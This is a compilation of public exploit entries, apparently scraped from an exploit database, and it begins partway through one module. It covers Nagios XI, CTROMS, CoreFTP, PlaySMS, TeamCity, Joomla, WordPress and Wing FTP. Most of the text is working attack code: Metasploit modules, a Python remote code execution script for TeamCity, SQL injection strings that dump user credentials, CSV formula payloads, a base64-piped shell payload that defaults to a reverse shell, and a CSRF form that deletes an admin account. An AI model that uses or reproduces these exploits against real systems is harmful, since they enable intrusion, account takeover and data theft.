"#{@plugin_nsp}\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename post_data << "Content-Type: text/plain\n\n" post_data << "#{cmd}\n" post_data << "-----------------------------#{boundary}--\n" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header 'cookie' => @plugin_cookie, 'data' => post_data }) unless res fail_with Failure::Unreachable, 'Upload failed' end unless res.code == 200 && res.body.include?('New plugin was installed successfully') fail_with Failure::Unknown, 'Failed to upload plugin.' end @plugin_installed = true end def execute_payload #This request will timeout. It has to, for the exploit to work. print_status("Executing plugin...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'), 'method' => 'GET', 'cookie' => @cookie, 'vars_get' => { cmd: 'download' } }) end def cleanup() return unless @plugin_installed print_status("Deleting malicious 'check_ping' plugin...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'GET', 'cookie' => @plugin_cookie, 'vars_get' => { delete: 'check_ping', nsp: @plugin_nsp } }) unless res print_warning("Failed to delete the malicious 'check_ping' plugin: Connection failed. Manual cleanup is required.") return end unless res.code == 200 && res.body.include?('Plugin deleted') print_warning("Failed to delete the malicious 'check_ping' plugin. Manual cleanup is required.") return end print_good("Plugin deleted.") end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if @version print_status("Found Nagios XI application with version #{@version}.") end check_plugin_permissions vprint_status("User #{@username} has the required permissions on the target.") if target.arch.first == ARCH_CMD execute_command(payload.encoded) message = "Waiting for the payload to connect back..." else execute_cmdstager(background: true) message = "Waiting for the plugin to request the final payload..." end print_good("Successfully uploaded plugin.") execute_payload print_status "#{message}" end end
-
Persian VIP Download Script 1.0 - 'active' SQL Injection
# Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection # Data: 2020-03-09 # Exploit Author: S3FFR # Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip # Version: = 1.0 [Final Version] # Tested on: Windows,Linux # Google Dork: N/A ======================= Vulnerable Page: /cart_edit.php ======================= Vulnerable Source: 89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'")); 71: $active = $_GET['active']; ====================== sqlmap: sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs ======================= Testing Method : - time-based blind Parameter: active (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth ========================
-
CTROMS Terminal OS Port Portal - 'Password Reset' Authentication Bypass (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CTROMS Terminal OS - Port Portal "Password Reset" Authentication Bypass' , 'Description' => %q{ This module exploits an authentication bypass in CTROMS, triggered by password reset verification code disclosure. In order to exploit this vulnerability, the username must be known. Exploiting this vulnerability create a new password for the user you specified and present it to you. The "verification code" and "cookie generate" functions required to reset the password contain vulnerability. When the "userId" parameter is posted to "getverificationcode.jsp", a verification code is transmitted to the account's phone number for password reset. But this verification code written in the database is also reflected in the response of the request. The first vector would be to use this verification code. The second vector is the "rand" cookie values returned in this request. These values are md5. If these values are assigned in the response, password reset can be done via these cookie values. Ex: [ Cookie: 6fb36ecf2a04b8550ba95603047fe85=fae0bKBGtKBKtKh.wKA.vLBmuLxmuM.; 34d1c350632806406ecc517050da0=b741baa96686a91d4461145e40a9c2df ] }, 'References' => [ [ 'CVE', '' ], [ 'URL', 'https://www.pentest.com.tr/exploits/CTROMS-Terminal-OS-Port-Portal-Password-Reset-Authentication-Bypass.html' ], [ 'URL', 'https://www.globalservices.bt.com' ] ], 'Author' => [ 'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus ], 'License' => MSF_LICENSE, 'DisclosureDate' => "March 2 2020", 'DefaultOptions' => { 'SSL' => true } )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'Username']), OptString.new('PASSWORD', [true, 'Password for the reset', Rex::Text.rand_text_alphanumeric(12)]) ]) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def check begin res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'), 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{Rex::Text.rand_text_alphanumeric(8)}" }) rescue return Exploit::CheckCode::Unknown end if res.code == 200 and res.body.include? '"rand"' return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def run unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getuserinfo.jsp'), 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{datastore["USERNAME"]}" }) if res.code == 200 and res.body.include? '"mobileMask"' print_good("Excellent! password resettable for #{datastore["USERNAME"]}") else fail_with(Failure::NotVulnerable, 'The user you specified is not valid') end begin res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'), 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{datastore["USERNAME"]}" }) @cookie = res.get_cookies res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'getresult.jsp'), 'cookie' => @cookie, 'headers' => { 'Referer' => "#{peer}/verification.jsp" }, 'data' => "userId=#{datastore["USERNAME"]}&password=#{datastore["PASSWORD"]}" }) if res.body.include? 'result":10' print_good("boom! Password successfully reseted.") print_good("Username : #{datastore["USERNAME"]}") print_good("Password : #{datastore["PASSWORD"]}") else fail_with(Failure::BadConfig, "Unknown error while resetting the password. Response: #{res.code}") end end end end
-
CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def proto 'ftp' end def initialize super( 'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal', 'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.}, 'Author' => [ 'Kevin Randall' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-9649' ], [ 'BID', '107449' ], [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ] ], 'Disclosure Date:' => 'March 13 2019' ) register_options([ Opt::RPORT(21), OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ), OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ), OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] ) ]) end def run_host(ip) print_status("Logging into FTP server now with supplied credentials") c = connect_login return if not c print_status("Performing exploitation of the MDTM command to enumerate files") path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME'] res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock) data = res.to_s print_status("Performing analysis.... Please wait") if (data.include? "213" ) print_good ("And the circle hits the square!") print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1]) return res else print_error("Mission Failed We'll get them next time!") print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect") return res end end end
-
CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def proto 'ftp' end def initialize super( 'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal', 'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information}, 'Author' => [ 'Kevin Randall' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-9648' ], [ 'BID', '107446' ], [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ] ], 'Disclosure Date:' => 'March 13 2019' ) register_options([ Opt::RPORT(21), OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ), OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ), OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] ) ]) end def run_host(ip) print_status("Logging into FTP server now with supplied credentials") c = connect_login return if not c print_status("Performing exploitation of the SIZE command to enumerate files") path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME'] res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock) data = res.to_s print_status("Performing analysis.... Please wait") if (data.include? "213" ) print_good ("And the circle hits the square!") print_good ("File Exists. Here is the filesize:"+ data[4..-1]) return res else print_error("Mission Failed We'll get them next time!") print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect") return res end end end
-
ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path # Discovery by: Roberto Piña # Discovery Date: 2020-03-10 # Vendor Homepage: https://www.asus.com/ # Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755 # Tested Version: 1.02.00 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 en # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """ ASUS Com Service asComSvc C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe Auto C:\>sc qc asComSvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: asComSvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ASUS Com Service DEPENDENCIES : RpcSs SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the system root path # undetected by the OS or other security applications where it could potentially be executed during # application startup or reboot. If successful, the local user's code would execute with the elevated # privileges of the application.
-
WordPress Plugin Search Meter 2.13.2 - CSV injection
# Exploit Title: Wordpress Plugin Search Meter 2.13.2 - CSV Injection # Google Dork: N/A # Date: 2020-03-10 # Exploit Author: Daniel Monzón (stark0de) # Vendor Homepage: https://thunderguy.com/semicolon/ # Software Link: https://downloads.wordpress.org/plugin/search-meter.2.13.2.zip # Version: 2.13.2 # Tested on: Windows 7 x86 SP1 # CVE : N/A There is a CSV injection vulnerability in the Export function of the Search Meter plugin version 1) First we introduce the payload in the search bar in Wordpress =cmd|' /C notepad'!'A1' 2) Then we go to http://127.0.0.1/wordpress/wp-admin/index.php?page=search-meter%2Fadmin.php and export the CSV file 3) After that we open the file in Excel, and import data from an external file, using comma as separator 4) Payload gets executed Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016
-
Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection
# Exploit Title: Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection # Date: 2020-03-10 # Author: Milad Karimi # Software Link: # Version: # Category : webapps # Tested on: windows 10 , firefox # CVE : CWE-89 # Dork: inurl:index.php?option=com_newsfeeds index.php?option=com_newsfeeds&view=categories&feedid=[sqli] Example: http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
-
TeamCity Agent XML-RPC 10.0 - Remote Code Execution
# Exploit Title: TeamCity Agent XML-RPC 10.0 - Remote Code Execution # Date: 2020-03-20 # Exploit Author: Dylan Pindur # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: TeamCity < 10.0 (42002) # Tested on: Windows 10 (x64) # References: # https://www.exploit-db.com/exploits/45917 # https://www.tenable.com/plugins/nessus/94675 # # TeamCity Agents configured to use bidirectional communication allow the execution # of commands sent to them via an XML-RPC endpoint. # # This script requires the following python modules are installed # pip install requests # #!/usr/local/bin/python3 import requests import sys # region tc7 teamcity_7_req = """ <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>123456</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myServerParameters class="tree-map"> <no-comparator/> <entry> <string>system.build.number</string> <string>0</string> </entry> </myServerParameters> <myVcsRootOldRevisions class="tree-map"> <no-comparator/> </myVcsRootOldRevisions> <myVcsRootCurrentRevisions class="tree-map"> <no-comparator/> </myVcsRootCurrentRevisions> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootEntries/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myRunnerParameters class="tree-map"> <no-comparator/> <entry> <string>script.content</string> <string>{SCRIPT}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> <myServerParameters class="tree-map"> <no-comparator/> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myBuildFeatures/> </AgentBuild> ]]> </value> </param> </params> </methodCall> """.strip() # endregion # region tc8 teamcity_8_req = """ <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>123456</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myServerParameters class="tree-map"> <entry> <string>system.build.number</string> <string>0</string> </entry> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>{SCRIPT}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myBuildFeatures/> </AgentBuild> ]]> </value> </param> </params> </methodCall> """.strip() # endregion # region tc9 teamcity_9_req = """ <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>123456</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myBuildTypeExternalId>x</myBuildTypeExternalId> <myCheckoutType>ON_AGENT</myCheckoutType> <myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myServerParameters class="StringTreeMap"> <k>system.build.number</k> <v>0</v> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildFeatures/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>{SCRIPT}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> """.strip() # endregion # region tc10 teamcity_10_req = """ <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>buildAgent.runBuild</methodName> <params> <param> <value> <![CDATA[ <AgentBuild> <myBuildId>123456</myBuildId> <myBuildTypeId>x</myBuildTypeId> <myBuildTypeExternalId>x</myBuildTypeExternalId> <myCheckoutType>ON_AGENT</myCheckoutType> <myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout> <myVcsSettingsHashForAgentCheckout>123456</myVcsSettingsHashForAgentCheckout> <myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout> <myDefaultExecutionTimeout>3</myDefaultExecutionTimeout> <myServerParameters class="StringTreeMap"> <k>system.build.number</k> <v>0</v> </myServerParameters> <myAccessCode/> <myArtifactDependencies/> <myArtifactPaths/> <myBuildFeatures/> <myBuildTypeOptions/> <myFullCheckoutReasons/> <myParametersSpecs class="StringTreeMap"/> <myPersonalVcsChanges/> <myUserBuildParameters/> <myVcsChanges/> <myVcsRootCurrentRevisions class="tree-map"/> <myVcsRootEntries/> <myVcsRootOldRevisions class="tree-map"/> <myBuildRunners> <jetbrains.buildServer.agentServer.BuildRunnerData> <myId>x</myId> <myIsDisabled>false</myIsDisabled> <myRunType>simpleRunner</myRunType> <myRunnerName>x</myRunnerName> <myChildren class="list"/> <myServerParameters class="tree-map"> <entry> <string>teamcity.build.step.name</string> <string>x</string> </entry> </myServerParameters> <myRunnerParameters class="tree-map"> <entry> <string>script.content</string> <string>{SCRIPT}</string> </entry> <entry> <string>teamcity.step.mode</string> <string>default</string> </entry> <entry> <string>use.custom.script</string> <string>true</string> </entry> </myRunnerParameters> </jetbrains.buildServer.agentServer.BuildRunnerData> </myBuildRunners> </AgentBuild> ]]> </value> </param> </params> </methodCall> """.strip() # endregion def prepare_payload(version, cmd): if version == 7: return teamcity_7_req.replace("{SCRIPT}", "cmd /c {}".format(cmd)) elif version == 8: return teamcity_8_req.replace("{SCRIPT}", "cmd /c {}".format(cmd)) elif version == 9: return teamcity_9_req.replace("{SCRIPT}", "cmd /c {}".format(cmd)) elif version == 10: return teamcity_10_req.replace("{SCRIPT}", "cmd /c {}".format(cmd)) else: raise Exception("No payload available for version {}".format(version)) def send_req(host, port, payload): headers = { "Content-Type": "text/xml" } url = "http://{}:{}/".format(host, port) r = requests.post(url, headers=headers, data=payload) if r.status_code == 200 and 'fault' not in r.text: print('Command sent successfully') else: print('Command failed') print(r.text) if len(sys.argv) != 4: print('[!] Missing arguments') print('[ ] Usage: {} <target> <port> <cmd>'.format(sys.argv[0])) print("[ ] E.g. {} 192.168.1.128 9090 'whoami > C:\\x.txt'".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) cmd = sys.argv[3] version = input("Enter TeamCity version (7,8,9,10): ") version = int(version.strip()) if version not in [7, 8, 9, 10]: print("Please select a valid version (7,8,9,10)") sys.exit(1) payload = prepare_payload(version, cmd) send_req(target, str(port), payload)
-
PlaySMS 1.4.3 - Template Injection / Remote Code Execution
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PlaySMS 1.4.3 Pre Auth Template Injection Remote Code Execution', 'Description' => %q{ This module exploits a Preauth Server-Side Template Injection leads remote code execution vulnerability in PlaySMS Before Version 1.4.3. This issue is caused by Double processes a server-side template by Custom PHP Template system called 'TPL'. which is used in PlaySMS template engine location src/Playsms/Tpl.php:_compile(). When Attacker supply username with a malicious payload and submit. This malicious payload first process by TPL and save the value in the current template after this value goes for the second process which result in code execution. The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection. This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine. }, 'Author' => [ 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module 'Lucas Rosevear' # Found and Initial PoC by NCC Groupd ], 'License' => MSF_LICENSE, 'References' => [ ['CVE','2020-8644'], ['URL',' https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ '] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Privileged' => false, 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' } }, 'Targets' => [ [ 'PlaySMS Before 1.4.3', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 05 2020')) register_options( [ OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']), ]) end def uri return target_uri.path end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') }) rescue vprint_error('Unable to access the index.php file') return CheckCode::Unknown end if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login') return Exploit::CheckCode::Appears end return CheckCode::Safe end #Send Payload in Login Request def login res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', } }) # Grabbing CSRF token from body /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? vprint_good("X-CSRF-Token for login : #{csrf}") cookies = res.get_cookies vprint_status('Trying to Send Payload in Username Field ......') #Encoded in base64 to avoid HTML TAGS which is filter by Application. evil = "{{`printf #{Rex::Text.encode_base64(payload.encode)}|base64 -d |sh`}}" # Send Payload with cookies. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'cookie' => cookies, 'vars_get' => Hash[{ 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', 'op' => 'login', }.to_a.shuffle], 'vars_post' => Hash[{ 'X-CSRF-Token' => csrf, 'username' => evil, 'password' => '' }.to_a.shuffle], }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # Request Status Check if res.code == 302 print_good("Payload successfully Sent") return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Something Goes Wrong") end end def exploit cookies = login vprint_status("Cookies here : #{cookies}") # Execute Last Sent Username. res = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'method' => 'GET', 'cookie' => cookies, 'vars_get' => { 'app' => 'main', 'inc' => 'core_auth', 'route' => 'login', } }) end end -- Touhid Shaikh Exploit Researcher and Developer | Security Consultant m: +91 7738794435 e: touhidshaikh22@gmail.com www.touhidshaikh.com [image: Facebook icon] <https://www.facebook.com/tauheeds1> [image: LinkedIn icon] <https://www.linkedin.com/in/touhidshaikh22/> [image: Twitter icon] <https://twitter.com/touhidshaikh22> [image: Youtube icon] <https://www.youtube.com/touhidshaikh22> The content of this email is confidential and intended for the recipient specified in message only. It is strictly forbidden to share any part of this message with any third party, without a written consent of the sender. If you received this message by mistake, please reply to this message and follow with its deletion, so that we can ensure such a mistake does not occur in the future.
-
Joomla! 3.9.0 < 3.9.7 - CSV Injection
#!/usr/bin/python3 # Exploit Title: Joomla 3.9.0 < 3.9.7 - CSV Injection # Date: 2020-03-10 # Vulnerability Authors: Jose Antonio Rodriguez Garcia and Phil Keeble (MWR InfoSecurity) # Exploit Author: Abdullah - @i4bdullah # Vendor Homepage: https://www.joomla.org/ # Software Link: https://downloads.joomla.org/cms/joomla3/3-9-5/Joomla_3-9-5-Stable-Full_Package.zip?format=zip # Version: 3.9.0 < 3.9.7 # Tested on: Ubuntu 18.04 LTS and Windows 7 # CVE : CVE-2019-12765 import mechanize import sys if (len(sys.argv) != 2): print(f'Usage: {sys.argv[0]} <Base URL>') print(f'Example: {sys.argv[0]} http://127.0.0.1 ') sys.exit(1) base_url = sys.argv[1] reg_url = f"{base_url}/joomla/index.php/component/users/?view=registration&Itemid=101" login_url = f"{base_url}/joomla/index.php?option=com_users" def pwn(username='abdullah'): payload = "=cmd|'/c calc.exe'!A1" print(f"Registering a new user with the name <{payload}>...") reg_form = mechanize.Browser() reg_form.set_handle_robots(False) reg_form.open(reg_url) reg_form.select_form(nr=0) reg_form.form['jform[name]'] = payload reg_form.form['jform[username]'] = username reg_form.form['jform[password1]'] = 'password' reg_form.form['jform[password2]'] = 'password' reg_form.form['jform[email1]'] = 'whatever@i4bdullah.com' reg_form.form['jform[email2]'] = 'whatever@i4bdullah.com' reg_form.submit() print("The exploit ran successfully.") print("Exiting...") sys.exit(0) pwn()
-
Wing FTP Server - Authenticated CSRF (Delete Admin)
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation # Date: 2020-03-10 # Exploit Author: Dhiraj Mishra # Vendor Homepage: https://www.wftpserver.com # Version: v6.2.6 # Tested on: Windows 10 *Summary:* An authenticated CSRF exists in web client and web administration of Wing FTP v6.2.6, a crafted HTML page could delete admin user from the application where as administration needs to re-install the program and add admin user again. Issue was patched in v6.2.7. *Proof of concept:* <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://IP:5466/admin_delete_admin.html" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="r" value="0.9219583354400562" /> <input type="submit" value="Submit request" /> </form> </body> </html> *Patch (lua/cgiadmin.lua):* URL: https://www.wftpserver.com/serverhistory.htm local outfunc = "echo" local function out (s, i, f) s = string.sub(s, i, f or -1) if s == "" then return s end s = string.gsub(s, "([\\\n\'])", "\\%1") s = string.gsub(s, "\r", "\\r") return string.format(" %s('%s'); ", outfunc, s) end local function translate (s) s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>") local res = {} local start = 1 while true do local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[ \t]*(=?)(.-)%?%?>", start) if not ip then break end table.insert(res, out(s, start, ip-1)) if target ~= "" and target ~= "lua" then table.insert(res, out(s, ip, fp)) else if exp == "=" then table.insert(res, string.format(" %s(%s);", outfunc, code)) else table.insert(res, string.format(" %s ", code)) end end start = fp + 1 end table.insert(res, out(s, start)) return table.concat(res) end local function compile (src, chunkname) return loadstring(translate(src),chunkname) end function include (filename, env) if incfiles[filename] == nil then incfiles[filename] = true; path = c_GetAppPath() path = path .. "/webadmin/"..filename local errstr = string.format("<b>The page '%s' does not exist!</b>",filename) local fh,_ = io.open (path) if not fh then echo_out = echo_out..errstr return end local src = fh:read("*a") fh:close() local prog = compile(src, path) local _env if env then _env = getfenv (prog) setfenv (prog, env) end local status,err = pcall(prog) if not status then if type(err) == "string" and not string.find(err,"exit function!") then print(string.format("some error in %s!",err)) end return end end end function var_dump(var) print("{") if type(var) == "string" or type(var) == "number" or type(var) == "boolean" or type(var) == "function" then print(var) elseif(type(var) == "thread") then print("thread") elseif(type(var) == "userdata") then print("userdata") elseif type(var) == "nil" then print("nil") elseif type(var) == "table" then for k,v in pairs(var) do if type(k) == "string" then k="'"..k.."'" end if(type(v) == "string") then print(k.."=>'"..v.."',") elseif(type(v) == "number" or type(v) == "boolean") then print(k.."=>"..tostring(v)..",") elseif(type(v) == "function") then 